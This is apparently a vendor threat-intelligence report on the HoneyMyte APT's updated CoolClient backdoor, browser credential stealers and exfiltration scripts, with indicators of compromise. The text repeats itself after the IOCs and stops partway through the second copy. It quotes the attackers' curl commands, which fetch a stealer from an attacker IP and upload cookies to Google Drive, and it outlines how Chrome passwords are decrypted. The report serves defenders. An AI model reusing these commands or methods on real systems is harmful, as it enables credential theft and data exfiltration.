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HoneyMyte updates CoolClient and deploys multiple stealers in recent campaigns

Over the past few years, we’ve been observing and monitoring the espionage activities of HoneyMyte (aka Mustang Panda or Bronze President) within Asia and Europe, with the Southeast Asia region being the most affected. The primary targets of most of the group’s campaigns were government entities.

As an APT group, HoneyMyte uses a variety of sophisticated tools to achieve its goals. These tools include ToneShell, PlugX, Qreverse and CoolClient backdoors, Tonedisk and SnakeDisk USB worms, among others. In 2025, we observed HoneyMyte updating its toolset by enhancing the CoolClient backdoor with new features, deploying several variants of a browser login data stealer, and using multiple scripts designed for data theft and reconnaissance.

Additional information about this threat, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. If you are interested, please contact intelreports@kaspersky.com.

CoolClient backdoor

An early version of the CoolClient backdoor was first discovered by Sophos in 2022, and TrendMicro later documented an updated version in 2023. Fast forward to our recent investigations, we found that CoolClient has evolved quite a bit, and the developers have added several new features to the backdoor. This updated version has been observed in multiple campaigns across Myanmar, Mongolia, Malaysia and Russia where it was often deployed as a secondary backdoor in addition to PlugX and LuminousMoth infections.

In our observations, CoolClient was typically delivered alongside encrypted loader files containing encrypted configuration data, shellcode, and in-memory next-stage DLL modules. These modules relied on DLL sideloading as their primary execution method, which required a legitimate signed executable to load a malicious DLL. Between 2021 and 2025, the threat actor abused signed binaries from various software products, including BitDefender, VLC Media Player, Ulead PhotoImpact, and several Sangfor solutions.

Variants of CoolClient abusing different software for DLL sideloading (2021–2025)

Variants of CoolClient abusing different software for DLL sideloading (2021–2025)

The latest CoolClient version analyzed in this article abuses legitimate software developed by Sangfor. Below, you can find an overview of how it operates. It is worth noting that its behavior remains consistent across all variants, except for differences in the final-stage features.

Overview of CoolClient execution flow

Overview of CoolClient execution flow

However, it is worth noting that in another recent campaign involving this malware in Pakistan and Myanmar, we observed that HoneyMyte has introduced a newer variant of CoolClient that drops and executes a previously unseen rootkit. A separate report will be published in the future that covers the technical analysis and findings related to this CoolClient variant and the associated rootkit.

CoolClient functionalities

In terms of functionality, CoolClient collects detailed system and user information. This includes the computer name, operating system version, total physical memory (RAM), network details (MAC and IP addresses), logged-in user information, and descriptions and versions of loaded driver modules. Furthermore, both old and new variants of CoolClient support file upload to the C2, file deletion, keylogging, TCP tunneling, reverse proxy listening, and plugin staging/execution for running additional in-memory modules. These features are still present in the latest versions, alongside newly added functionalities.

In this latest variant, CoolClient relies on several important files to function properly:

Filename Description
Sang.exe Legitimate Sangfor application abused for DLL sideloading.
libngs.dll Malicious DLL used to decrypt loader.dat and execute shellcode.
loader.dat Encrypted file containing shellcode and a second-stage DLL. Parameter checker and process injection activity reside here.
time.dat Encrypted configuration file.
main.dat Encrypted file containing shellcode and a third-stage DLL. The core functionality resides here.

Parameter modes in second-stage DLL

CoolClient typically requires three parameters to function properly. These parameters determine which actions the malware is supposed to perform. The following parameters are supported.

Parameter Actions
No parameter ·        CoolClient will launch a new process of itself with the install parameter. For example: Sang.exe install.
install
  • CoolClient decrypts time.dat.
  • Adds new key to the Run registry for persistence mechanism.
  • Creates a process named write.exe.
  • Decrypts and injects loader.dat into a newly created write.exe process.
  • Checks for service control manager (SCM) access.
  • Checks for multiple AV processes such as 360sd.exe, zhudongfangyu.exe and 360desktopservice64.exe.
  • Installs a service named media_updaten and starts it.
  • If the current user is in the Administrator group, creates a new process of itself with the passuac parameter to bypass UAC.
work
  • Creates a process named write.exe.
  • Decrypts and injects loader.dat into a newly spawned write.exe process.
passuac
  • Bypasses UAC and performs privilege elevation.
  • Checks if the machine runs Windows 10 or a later version.
  • Impersonates svchost.exe process by spoofing PEB information.
  • Creates a scheduled task named ComboxResetTask for persistence. The task executes the malware with the work parameter.
  • Elevates privileges to admin by duplicating an access token from an existing elevated process.

Final stage DLL

The write.exe process decrypts and launches the main.dat file, which contains the third (final) stage DLL. CoolClient’s core features are implemented in this DLL. When launched, it first checks whether the keylogger, clipboard stealer, and HTTP proxy credential sniffer are enabled. If they are, CoolClient creates a new thread for each specific functionality. It is worth noting that the clipboard stealer and HTTP proxy credential sniffer are new features that weren’t present in older versions.

Clipboard and active windows monitor

A new feature introduced in CoolClient is clipboard monitoring, which leverages functions that are typically abused by clipboard stealers, such as GetClipboardData and GetWindowTextW, to capture clipboard information.

CoolClient also retrieves the window title, process ID and current timestamp of the user’s active window using the GetWindowTextW API. This information enables the attackers to monitor user behavior, identify which applications are in use, and determine the context of data copied at a given moment.

The clipboard contents and active window information are encrypted using a simple XOR operation with the byte key 0xAC, and then written to a file located at C:\ProgramData\AppxProvisioning.xml.

HTTP proxy credential sniffer

Another notable new functionality is CoolClient’s ability to extract HTTP proxy credentials from the host’s HTTP traffic packets. To do so, the malware creates dedicated threads to intercept and parse raw network traffic on each local IP address. Once it is able to intercept and parse the traffic, CoolClient starts extracting proxy authentication credentials from HTTP traffic intercepted by the malware’s packet sniffer.

The function operates by analyzing the raw TCP payload to locate the Proxy-Connection header and ensure the packet is relevant. It then looks for the Proxy-Authorization: Basic header, extracts and decodes the Base64-encoded credential and saves it in memory to be sent later to the C2.

Function used to find and extract Base64-encoded credentials from HTTP proxy-authorization headers

Function used to find and extract Base64-encoded credentials from HTTP proxy-authorization headers

C2 command handler

The latest CoolClient variant uses TCP as the main C2 communication protocol by default, but it also has the option to use UDP, similar to the previous variant. Each incoming payload begins with a four-byte magic value to identify the command family. However, if the command is related to downloading and running a plugin, this value is absent. If the client receives a packet without a recognized magic value, it switches to plugin mode (mechanism used to receive and execute plugin modules in memory) for command processing.

Magic value Command category
CC BB AA FF Beaconing, status update, configuration.
CD BB AA FF Operational commands such as tunnelling, keylogging and file operations.
No magic value Receive and execute plugin module in memory.

0xFFAABBCC – Beacon and configuration commands

Below is the command menu to manage client status and beaconing:

Command ID Action
0x0 Send beacon connection
0x1 Update beacon timestamp
0x2 Enumerate active user sessions
0x3 Handle incoming C2 command

0xFFAABBCD – Operational commands

This command group implements functionalities such as data theft, proxy setup, and file manipulation. The following is a breakdown of known subcommands:

Command ID Action
0x0 Set up reverse tunnel connection
0x1 Send data through tunnel
0x2 Close tunnel connection
0x3 Set up reverse proxy
0x4 Shut down a specific socket
0x6 List files in a directory
0x7 Delete file
0x8 Set up keylogger
0x9 Terminate keylogger thread
0xA Get clipboard data
0xB Install clipboard and active windows monitor
0xC Turn off clipboard and active windows monitor
0xD Read and send file
0xE Delete file

CoolClient plugins

CoolClient supports multiple plugins, each dedicated to a specific functionality. Our recent findings indicate that the HoneyMyte group actively used CoolClient in campaigns targeting Mongolia, where the attackers pushed and executed a plugin named FileMgrS.dll through the C2 channel for file management operations.

Further sample hunting in our telemetry revealed two additional plugins: one providing remote shell capability (RemoteShellS.dll), and another focused on service management (ServiceMgrS.dll).

ServiceMgrS.dll – Service management plugin

This plugin is used to manage services on the victim host. It can enumerate all services, create new services, and even delete existing ones. The following table lists the command IDs and their respective actions.

Command ID Action
0x0 Enumerate services
0x1 / 0x4 Start or resume service
0x2 Stop service
0x3 Pause service
0x5 Create service
0x6 Delete service
0x7 Set service to start automatically at boot
0x8 Set service to be launched manually
0x9 Set service to disabled

FileMgrS.dll – File management plugin

A few basic file operations are already supported in the operational commands of the main CoolClient implant, such as listing directory contents and deleting files. However, the dedicated file management plugin provides a full set of file management capabilities.

Command ID Action
0x0 List drives and network resources
0x1 List files in folder
0x2 Delete file or folder
0x3 Create new folder
0x4 Move file
0x5 Read file
0x6 Write data to file
0x7 Compress file or folder into ZIP archive
0x8 Execute file
0x9 Download and execute file using certutil
0xA Search for file
0xB Send search result
0xC Map network drive
0xD Set chunk size for file transfers
0xF Bulk copy or move
0x10 Get file metadata
0x11 Set file metadata

RemoteShellS.dll – Remote shell plugin

Based on our analysis of the main implant, the C2 command handler did not implement remote shell functionality. Instead, CoolClient relied on a dedicated plugin to enable this capability. This plugin spawns a hidden cmd.exe process, redirecting standard input and output through pipes, which allows the attacker to send commands into the process and capture the resulting output. This output is then forwarded back to the C2 server for remote interaction.

CoolClient plugin that spawns cmd.exe with redirected I/O and forwards command output to C2

CoolClient plugin that spawns cmd.exe with redirected I/O and forwards command output to C2

Browser login data stealer

While investigating suspicious ToneShell backdoor traffic originating from a host in Thailand, we discovered that the HoneyMyte threat actor had downloaded and executed a malware sample intended to extract saved login credentials from the Chrome browser as part of their post-exploitation activities. We will refer to this sample as Variant A. On the same day, the actor executed a separate malware sample (Variant B) targeting credentials stored in the Microsoft Edge browser. Both samples can be considered part of the same malware family.

During a separate threat hunting operation focused on HoneyMyte’s QReverse backdoor, we retrieved another variant of a Chrome credential parser (Variant C) that exhibited significant code similarities to the sample used in the aforementioned ToneShell campaign.

The malware was observed in countries such as Myanmar, Malaysia, and Thailand, with a particular focus on the government sector.

The following table shows the variants of this browser credential stealer employed by HoneyMyte.

Variant Targeted browser(s) Execution method MD5 hash
A Chrome Direct execution (PE32) 1A5A9C013CE1B65ABC75D809A25D36A7
B Edge Direct execution (PE32) E1B7EF0F3AC0A0A64F86E220F362B149
C Chromium-based browsers DLL side-loading DA6F89F15094FD3F74BA186954BE6B05

These stealers may be part of a new malware toolset used by HoneyMyte during post-exploitation activities.

Initial infection

As part of post-exploitation activity involving the ToneShell backdoor, the threat actor initially executed the Variant A stealer, which targeted Chrome credentials. However, we were unable to determine the exact delivery mechanism used to deploy it.

A few minutes later, the threat actor executed a command to download and run the Variant B stealer from a remote server. This variant specifically targeted Microsoft Edge credentials.

curl  hxxp://45.144.165[.]65/BUIEFuiHFUEIuioKLWENFUoi878UIESf/MUEWGHui897hjkhsjdkHfjegfdh/67jksaebyut8seuhfjgfdgdfhet4SEDGF/Tools/getlogindataedge.exe -o "C:\users\[username]\libraries\getloginedge.exe"

Within the same hour that Variant B was downloaded and executed, we observed the threat actor issue another command to exfiltrate the Firefox browser cookie file (cookies.sqlite) to Google Drive using a curl command.

curl  -X POST -L -H "Authorization: Bearer ya29.a0Ad52N3-ZUcb-ixQT_Ts1MwvXsO9JwEYRujRROo-vwqmSW006YxrlFSRjTuUuAK-u8UiaQt7v0gQbjktpFZMp65hd2KBwnY2YdTXYAKhktWi-v1LIaEFYzImoO7p8Jp01t29_3JxJukd6IdpTLPdXrKINmnI9ZgqPTWicWN4aCgYKAQ4SARASFQHGX2MioNQPPZN8EkdbZNROAlzXeQ0174"  -F "metadata={name :'8059cookies.sqlite'};type=application/json;charset=UTF-8" -F "file=@"$appdata\Mozilla\Firefox\Profiles\i6bv8i9n.default-release\cookies.sqlite";type=application/zip" -k "https://www.googleapis.com/upload/drive/v3/files?uploadType=multipart"

Variant C analysis

Unlike Variants A and B, which use hardcoded file paths, the Variant C stealer accepts two runtime arguments: file paths to the browser’s Login Data and Local State files. This provides greater flexibility and enables the stealer to target any Chromium-based browser such as Chrome, Edge, Brave, or Opera, regardless of the user profile or installation path. An example command used to execute Variant C is as follows:

Jarte.exe "C:\Users\[username]\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\[username]\AppData\Local\Google\Chrome\User Data\Local State"

In this context, the Login Data file is an SQLite database that stores saved website login credentials, including usernames and AES-encrypted passwords. The Local State file is a JSON-formatted configuration file containing browser metadata, with the most important value being encrypted_key, a Base64-encoded AES key. It is required to decrypt the passwords stored in the Login Data database and is also encrypted.

When executed, the malware copies the Login Data file to the user’s temporary directory as chromeTmp.

Function that copies Chrome browser login data into a temporary file (chromeTmp) for exfiltration

Function that copies Chrome browser login data into a temporary file (chromeTmp) for exfiltration

To retrieve saved credentials, the malware executes the following SQL query on the copied database:

SELECT origin_url, username_value, password_value FROM logins

This query returns the login URL, stored username, and encrypted password for each saved entry.

Next, the malware reads the Local State file to extract the browser’s encrypted master key. This key is protected using the Windows Data Protection API (DPAPI), ensuring that the encrypted data can only be decrypted by the same Windows user account that created it. The malware then uses the CryptUnprotectData API to decrypt this key, enabling it to access and decrypt password entries from the Login Data SQLite database.

With the decrypted AES key in memory, the malware proceeds to decrypt each saved password and reconstructs complete login records.

Finally, it saves the results to the text file C:\Users\Public\Libraries\License.txt.

Login data stealer’s attribution

Our investigation indicated that the malware was consistently used in the ToneShell backdoor campaign, which was attributed to the HoneyMyte APT group.
Another factor supporting our attribution is that the browser credential stealer appeared to be linked to the LuminousMoth APT group, which has previously been connected to HoneyMyte. Our analysis of LuminousMoth’s cookie stealer revealed several code-level similarities with HoneyMyte’s credential stealer. For example, both malware families used the same method to copy targeted files, such as Login Data and Cookies, into a temporary folder named ChromeTmp, indicating possible tool reuse or a shared codebase.

Code similarity between HoneyMyte's saved login data stealer and LuminousMoth's cookie stealer

Code similarity between HoneyMyte’s saved login data stealer and LuminousMoth’s cookie stealer

Both stealers followed the same steps: they checked if the original Login Data file existed, located the temporary folder, and copied the browser data into a file with the same name.

Based on these findings, we assess with high confidence that HoneyMyte is behind this browser credential stealer, which also has a strong connection to the LuminousMoth APT group.

Document theft and system information reconnaissance scripts

In several espionage campaigns, HoneyMyte used a number of scripts to gather system information, conduct document theft activities and steal browser login data. One of these scripts is a batch file named 1.bat.

1.bat – System enumeration and data exfiltration batch script

The script starts by downloading curl.exe and rar.exe into the public folder. These are the tools used for file transfer and compression.

Batch script that downloads curl.exe and rar.exe from HoneyMyte infrastructure and executes them for file transfer and compression

Batch script that downloads curl.exe and rar.exe from HoneyMyte infrastructure and executes them for file transfer and compression

It then collects network details and downloads and runs the nbtscan tool for internal network scanning.

Batch script that performs network enumeration and saves the results to the log.dat file for later exfiltration

Batch script that performs network enumeration and saves the results to the log.dat file for later exfiltration

During enumeration, the script also collects information such as stored credentials, the result of the systeminfo command, registry keys, the startup folder list, the list of files and folders, and antivirus information into a file named log.dat. It then uploads this file via FTP to http://113.23.212[.]15/pub/.

Batch script that collects registry, startup items, directories, and antivirus information for system profiling

Batch script that collects registry, startup items, directories, and antivirus information for system profiling

Next, it deletes both log.dat and the nbtscan executable to remove traces. The script then terminates browser processes, compresses browser-related folders, retrieves FileZilla configuration files, archives documents from all drives with rar.exe, and uploads the collected data to the same server.

Finally, it deletes any remaining artifacts to cover its tracks.

Ttraazcs32.ps1 – PowerShell-based collection and exfiltration

The second script observed in HoneyMyte operations is a PowerShell file named Ttraazcs32.ps1.

Similar to the batch file, this script downloads curl.exe and rar.exe into the public folder to handle file transfers and compression. It collects computer and user information, as well as network details such as the public IP address and Wi-Fi network data.

All gathered information is written to a file, compressed into a password-protected RAR archive and uploaded via FTP.

In addition to system profiling, the script searches multiple drives including C:\Users\Desktop, Downloads, and drives D: to Z: for recently modified documents. Targeted file types include .doc, .xls, .pdf, .tif, and .txt, specifically those changed within the last 60 days. These files are also compressed into a password-protected RAR archive and exfiltrated to the same FTP server.

t.ps1 – Saved login data collection and exfiltration

The third script attributed to HoneyMyte is a PowerShell file named t.ps1.

The script requires a number as a parameter and creates a working directory under D:\temp with that number as the directory name. The number is not related to any identifier. It is simply a numeric label that is probably used to organize stolen data by victim. If the D drive doesn’t exist on the victim’s machine, the new folder will be created in the current working directory.

The script then searches the system for Chrome and Chromium-based browser files such as Login Data and Local State. It copies these files into the target directory and extracts the encrypted_key value from the Local State file. It then uses Windows DPAPI (System.Security.Cryptography.ProtectedData) to decrypt this key and writes the decrypted Base64-encoded key into a new file named Local State-journal in the same directory. For example, if the original file is C:\Users\$username \AppData\Local\Google\Chrome\User Data\Local State, the script creates a new file C:\Users\$username\AppData\Local\Google\Chrome\User Data\Local State-journal, which the attacker can later use to access stored credentials.

PowerShell script that extracts and decrypts the Chrome encrypted_key from the Local State file before writing the result to a Local State-journal file

PowerShell script that extracts and decrypts the Chrome encrypted_key from the Local State file before writing the result to a Local State-journal file

Once the credential data is ready, the script verifies that both rar.exe and curl.exe are available. If they are not present, it downloads them directly from Google Drive. The script then compresses the collected data into a password-protected archive (the password is “PIXELDRAIN”) and uploads it to pixeldrain.com using the service’s API, authenticated with a hardcoded token. Pixeldrain is a public file-sharing service that attackers abuse for data exfiltration.

Script that compresses data with RAR, and exfiltrates it to Pixeldrain via API

Script that compresses data with RAR, and exfiltrates it to Pixeldrain via API

This approach highlights HoneyMyte’s shift toward using public file-sharing services to covertly exfiltrate sensitive data, especially browser login credentials.

Conclusion

Recent findings indicate that HoneyMyte continues to operate actively in the wild, deploying an updated toolset that includes the CoolClient backdoor, a browser login data stealer, and various document theft scripts.

With capabilities such as keylogging, clipboard monitoring, proxy credential theft, document exfiltration, browser credential harvesting, and large-scale file theft, HoneyMyte’s campaigns appear to go far beyond traditional espionage goals like document theft and persistence. These tools indicate a shift toward the active surveillance of user activity that includes capturing keystrokes, collecting clipboard data, and harvesting proxy credential.

Organizations should remain highly vigilant against the deployment of HoneyMyte’s toolset, including the CoolClient backdoor, as well as related malware families such as PlugX, ToneShell, Qreverse, and LuminousMoth. These operations are part of a sophisticated threat actor strategy designed to maintain persistent access to compromised systems while conducting high-value surveillance activities.

Indicators of compromise

CoolClient
F518D8E5FE70D9090F6280C68A95998F          libngs.dll
1A61564841BBBB8E7774CBBEB3C68D5D       loader.dat
AEB25C9A286EE4C25CA55B72A42EFA2C        main.dat
6B7300A8B3F4AAC40EEECFD7BC47EE7C        time.dat

CoolClient plugins
7AA53BA3E3F8B0453FFCFBA06347AB34        ServiceMgrS.dll
A1CD59F769E9E5F6A040429847CA6EAE         FileMgrS.dll
1BC5329969E6BF8EF2E9E49AAB003F0B         RemoteShellS.dll

Browser login data stealer
1A5A9C013CE1B65ABC75D809A25D36A7       Variant A
E1B7EF0F3AC0A0A64F86E220F362B149          Variant B
DA6F89F15094FD3F74BA186954BE6B05         Variant C

Scripts
C19BD9E6F649DF1DF385DEEF94E0E8C4         1.bat
838B591722512368F81298C313E37412           Ttraazcs32.ps1
A4D7147F0B1CA737BFC133349841AABA        t.ps1

CoolClient C2
account.hamsterxnxx[.]com
popnike-share[.]com
japan.Lenovoappstore[.]com

FTP server
113.23.212[.]15

  •  

HoneyMyte updates CoolClient and deploys multiple stealers in recent campaigns

Over the past few years, we’ve been observing and monitoring the espionage activities of HoneyMyte (aka Mustang Panda or Bronze President) within Asia and Europe, with the Southeast Asia region being the most affected. The primary targets of most of the group’s campaigns were government entities.

As an APT group, HoneyMyte uses a variety of sophisticated tools to achieve its goals. These tools include ToneShell, PlugX, Qreverse and CoolClient backdoors, Tonedisk and SnakeDisk USB worms, among others. In 2025, we observed HoneyMyte updating its toolset by enhancing the CoolClient backdoor with new features, deploying several variants of a browser login data stealer, and using multiple scripts designed for data theft and reconnaissance.

Additional information about this threat, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. If you are interested, please contact intelreports@kaspersky.com.

CoolClient backdoor

An early version of the CoolClient backdoor was first discovered by Sophos in 2022, and TrendMicro later documented an updated version in 2023. Fast forward to our recent investigations, we found that CoolClient has evolved quite a bit, and the developers have added several new features to the backdoor. This updated version has been observed in multiple campaigns across Myanmar, Mongolia, Malaysia and Russia where it was often deployed as a secondary backdoor in addition to PlugX and LuminousMoth infections.

In our observations, CoolClient was typically delivered alongside encrypted loader files containing encrypted configuration data, shellcode, and in-memory next-stage DLL modules. These modules relied on DLL sideloading as their primary execution method, which required a legitimate signed executable to load a malicious DLL. Between 2021 and 2025, the threat actor abused signed binaries from various software products, including BitDefender, VLC Media Player, Ulead PhotoImpact, and several Sangfor solutions.

Variants of CoolClient abusing different software for DLL sideloading (2021–2025)

Variants of CoolClient abusing different software for DLL sideloading (2021–2025)

The latest CoolClient version analyzed in this article abuses legitimate software developed by Sangfor. Below, you can find an overview of how it operates. It is worth noting that its behavior remains consistent across all variants, except for differences in the final-stage features.

Overview of CoolClient execution flow

Overview of CoolClient execution flow

However, it is worth noting that in another recent campaign involving this malware in Pakistan and Myanmar, we observed that HoneyMyte has introduced a newer variant of CoolClient that drops and executes a previously unseen rootkit. A separate report will be published in the future that covers the technical analysis and findings related to this CoolClient variant and the associated rootkit.

CoolClient functionalities

In terms of functionality, CoolClient collects detailed system and user information. This includes the computer name, operating system version, total physical memory (RAM), network details (MAC and IP addresses), logged-in user information, and descriptions and versions of loaded driver modules. Furthermore, both old and new variants of CoolClient support file upload to the C2, file deletion, keylogging, TCP tunneling, reverse proxy listening, and plugin staging/execution for running additional in-memory modules. These features are still present in the latest versions, alongside newly added functionalities.

In this latest variant, CoolClient relies on several important files to function properly:

Filename Description
Sang.exe Legitimate Sangfor application abused for DLL sideloading.
libngs.dll Malicious DLL used to decrypt loader.dat and execute shellcode.
loader.dat Encrypted file containing shellcode and a second-stage DLL. Parameter checker and process injection activity reside here.
time.dat Encrypted configuration file.
main.dat Encrypted file containing shellcode and a third-stage DLL. The core functionality resides here.

Parameter modes in second-stage DLL

CoolClient typically requires three parameters to function properly. These parameters determine which actions the malware is supposed to perform. The following parameters are supported.

Parameter Actions
No parameter ·        CoolClient will launch a new process of itself with the install parameter. For example: Sang.exe install.
install
  • CoolClient decrypts time.dat.
  • Adds new key to the Run registry for persistence mechanism.
  • Creates a process named write.exe.
  • Decrypts and injects loader.dat into a newly created write.exe process.
  • Checks for service control manager (SCM) access.
  • Checks for multiple AV processes such as 360sd.exe, zhudongfangyu.exe and 360desktopservice64.exe.
  • Installs a service named media_updaten and starts it.
  • If the current user is in the Administrator group, creates a new process of itself with the passuac parameter to bypass UAC.
work
  • Creates a process named write.exe.
  • Decrypts and injects loader.dat into a newly spawned write.exe process.
passuac
  • Bypasses UAC and performs privilege elevation.
  • Checks if the machine runs Windows 10 or a later version.
  • Impersonates svchost.exe process by spoofing PEB information.
  • Creates a scheduled task named ComboxResetTask for persistence. The task executes the malware with the work parameter.
  • Elevates privileges to admin by duplicating an access token from an existing elevated process.

Final stage DLL

The write.exe process decrypts and launches the main.dat file, which contains the third (final) stage DLL. CoolClient’s core features are implemented in this DLL. When launched, it first checks whether the keylogger, clipboard stealer, and HTTP proxy credential sniffer are enabled. If they are, CoolClient creates a new thread for each specific functionality. It is worth noting that the clipboard stealer and HTTP proxy credential sniffer are new features that weren’t present in older versions.

Clipboard and active windows monitor

A new feature introduced in CoolClient is clipboard monitoring, which leverages functions that are typically abused by clipboard stealers, such as GetClipboardData and GetWindowTextW, to capture clipboard information.

CoolClient also retrieves the window title, process ID and current timestamp of the user’s active window using the GetWindowTextW API. This information enables the attackers to monitor user behavior, identify which applications are in use, and determine the context of data copied at a given moment.

The clipboard contents and active window information are encrypted using a simple XOR operation with the byte key 0xAC, and then written to a file located at C:\ProgramData\AppxProvisioning.xml.

HTTP proxy credential sniffer

Another notable new functionality is CoolClient’s ability to extract HTTP proxy credentials from the host’s HTTP traffic packets. To do so, the malware creates dedicated threads to intercept and parse raw network traffic on each local IP address. Once it is able to intercept and parse the traffic, CoolClient starts extracting proxy authentication credentials from HTTP traffic intercepted by the malware’s packet sniffer.

The function operates by analyzing the raw TCP payload to locate the Proxy-Connection header and ensure the packet is relevant. It then looks for the Proxy-Authorization: Basic header, extracts and decodes the Base64-encoded credential and saves it in memory to be sent later to the C2.

Function used to find and extract Base64-encoded credentials from HTTP proxy-authorization headers

Function used to find and extract Base64-encoded credentials from HTTP proxy-authorization headers

C2 command handler

The latest CoolClient variant uses TCP as the main C2 communication protocol by default, but it also has the option to use UDP, similar to the previous variant. Each incoming payload begins with a four-byte magic value to identify the command family. However, if the command is related to downloading and running a plugin, this value is absent. If the client receives a packet without a recognized magic value, it switches to plugin mode (mechanism used to receive and execute plugin modules in memory) for command processing.

Magic value Command category
CC BB AA FF Beaconing, status update, configuration.
CD BB AA FF Operational commands such as tunnelling, keylogging and file operations.
No magic value Receive and execute plugin module in memory.

0xFFAABBCC – Beacon and configuration commands

Below is the command menu to manage client status and beaconing:

Command ID Action
0x0 Send beacon connection
0x1 Update beacon timestamp
0x2 Enumerate active user sessions
0x3 Handle incoming C2 command

0xFFAABBCD – Operational commands

This command group implements functionalities such as data theft, proxy setup, and file manipulation. The following is a breakdown of known subcommands:

Command ID Action
0x0 Set up reverse tunnel connection
0x1 Send data through tunnel
0x2 Close tunnel connection
0x3 Set up reverse proxy
0x4 Shut down a specific socket
0x6 List files in a directory
0x7 Delete file
0x8 Set up keylogger
0x9 Terminate keylogger thread
0xA Get clipboard data
0xB Install clipboard and active windows monitor
0xC Turn off clipboard and active windows monitor
0xD Read and send file
0xE Delete file

CoolClient plugins

CoolClient supports multiple plugins, each dedicated to a specific functionality. Our recent findings indicate that the HoneyMyte group actively used CoolClient in campaigns targeting Mongolia, where the attackers pushed and executed a plugin named FileMgrS.dll through the C2 channel for file management operations.

Further sample hunting in our telemetry revealed two additional plugins: one providing remote shell capability (RemoteShellS.dll), and another focused on service management (ServiceMgrS.dll).

ServiceMgrS.dll – Service management plugin

This plugin is used to manage services on the victim host. It can enumerate all services, create new services, and even delete existing ones. The following table lists the command IDs and their respective actions.

Command ID Action
0x0 Enumerate services
0x1 / 0x4 Start or resume service
0x2 Stop service
0x3 Pause service
0x5 Create service
0x6 Delete service
0x7 Set service to start automatically at boot
0x8 Set service to be launched manually
0x9 Set service to disabled

FileMgrS.dll – File management plugin

A few basic file operations are already supported in the operational commands of the main CoolClient implant, such as listing directory contents and deleting files. However, the dedicated file management plugin provides a full set of file management capabilities.

Command ID Action
0x0 List drives and network resources
0x1 List files in folder
0x2 Delete file or folder
0x3 Create new folder
0x4 Move file
0x5 Read file
0x6 Write data to file
0x7 Compress file or folder into ZIP archive
0x8 Execute file
0x9 Download and execute file using certutil
0xA Search for file
0xB Send search result
0xC Map network drive
0xD Set chunk size for file transfers
0xF Bulk copy or move
0x10 Get file metadata
0x11 Set file metadata

RemoteShellS.dll – Remote shell plugin

Based on our analysis of the main implant, the C2 command handler did not implement remote shell functionality. Instead, CoolClient relied on a dedicated plugin to enable this capability. This plugin spawns a hidden cmd.exe process, redirecting standard input and output through pipes, which allows the attacker to send commands into the process and capture the resulting output. This output is then forwarded back to the C2 server for remote interaction.

CoolClient plugin that spawns cmd.exe with redirected I/O and forwards command output to C2

CoolClient plugin that spawns cmd.exe with redirected I/O and forwards command output to C2

Browser login data stealer

While investigating suspicious ToneShell backdoor traffic originating from a host in Thailand, we discovered that the HoneyMyte threat actor had downloaded and executed a malware sample intended to extract saved login credentials from the Chrome browser as part of their post-exploitation activities. We will refer to this sample as Variant A. On the same day, the actor executed a separate malware sample (Variant B) targeting credentials stored in the Microsoft Edge browser. Both samples can be considered part of the same malware family.

During a separate threat hunting operation focused on HoneyMyte’s QReverse backdoor, we retrieved another variant of a Chrome credential parser (Variant C) that exhibited significant code similarities to the sample used in the aforementioned ToneShell campaign.

The malware was observed in countries such as Myanmar, Malaysia, and Thailand, with a particular focus on the government sector.

The following table shows the variants of this browser credential stealer employed by HoneyMyte.

Variant Targeted browser(s) Execution method MD5 hash
A Chrome Direct execution (PE32) 1A5A9C013CE1B65ABC75D809A25D36A7
B Edge Direct execution (PE32) E1B7EF0F3AC0A0A64F86E220F362B149
C Chromium-based browsers DLL side-loading DA6F89F15094FD3F74BA186954BE6B05

These stealers may be part of a new malware toolset used by HoneyMyte during post-exploitation activities.

Initial infection

As part of post-exploitation activity involving the ToneShell backdoor, the threat actor initially executed the Variant A stealer, which targeted Chrome credentials. However, we were unable to determine the exact delivery mechanism used to deploy it.

A few minutes later, the threat actor executed a command to download and run the Variant B stealer from a remote server. This variant specifically targeted Microsoft Edge credentials.

curl  hxxp://45.144.165[.]65/BUIEFuiHFUEIuioKLWENFUoi878UIESf/MUEWGHui897hjkhsjdkHfjegfdh/67jksaebyut8seuhfjgfdgdfhet4SEDGF/Tools/getlogindataedge.exe -o "C:\users\[username]\libraries\getloginedge.exe"

Within the same hour that Variant B was downloaded and executed, we observed the threat actor issue another command to exfiltrate the Firefox browser cookie file (cookies.sqlite) to Google Drive using a curl command.

curl  -X POST -L -H "Authorization: Bearer ya29.a0Ad52N3-ZUcb-ixQT_Ts1MwvXsO9JwEYRujRROo-vwqmSW006YxrlFSRjTuUuAK-u8UiaQt7v0gQbjktpFZMp65hd2KBwnY2YdTXYAKhktWi-v1LIaEFYzImoO7p8Jp01t29_3JxJukd6IdpTLPdXrKINmnI9ZgqPTWicWN4aCgYKAQ4SARASFQHGX2MioNQPPZN8EkdbZNROAlzXeQ0174"  -F "metadata={name :'8059cookies.sqlite'};type=application/json;charset=UTF-8" -F "file=@"$appdata\Mozilla\Firefox\Profiles\i6bv8i9n.default-release\cookies.sqlite";type=application/zip" -k "https://www.googleapis.com/upload/drive/v3/files?uploadType=multipart"

Variant C analysis

Unlike Variants A and B, which use hardcoded file paths, the Variant C stealer accepts two runtime arguments: file paths to the browser’s Login Data and Local State files. This provides greater flexibility and enables the stealer to target any Chromium-based browser such as Chrome, Edge, Brave, or Opera, regardless of the user profile or installation path. An example command used to execute Variant C is as follows:

Jarte.exe "C:\Users\[username]\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\[username]\AppData\Local\Google\Chrome\User Data\Local State"

In this context, the Login Data file is an SQLite database that stores saved website login credentials, including usernames and AES-encrypted passwords. The Local State file is a JSON-formatted configuration file containing browser metadata, with the most important value being encrypted_key, a Base64-encoded AES key. It is required to decrypt the passwords stored in the Login Data database and is also encrypted.

When executed, the malware copies the Login Data file to the user’s temporary directory as chromeTmp.

Function that copies Chrome browser login data into a temporary file (chromeTmp) for exfiltration

Function that copies Chrome browser login data into a temporary file (chromeTmp) for exfiltration

To retrieve saved credentials, the malware executes the following SQL query on the copied database:

SELECT origin_url, username_value, password_value FROM logins

This query returns the login URL, stored username, and encrypted password for each saved entry.

Next, the malware reads the Local State file to extract the browser’s encrypted master key. This key is protected using the Windows Data Protection API (DPAPI), ensuring that the encrypted data can only be decrypted by the same Windows user account that created it. The malware then uses the CryptUnprotectData API to decrypt this key, enabling it to access and decrypt password entries from the Login Data SQLite database.

With the decrypted AES key in memory, the malware proceeds to decrypt each saved password and reconstructs complete login records.

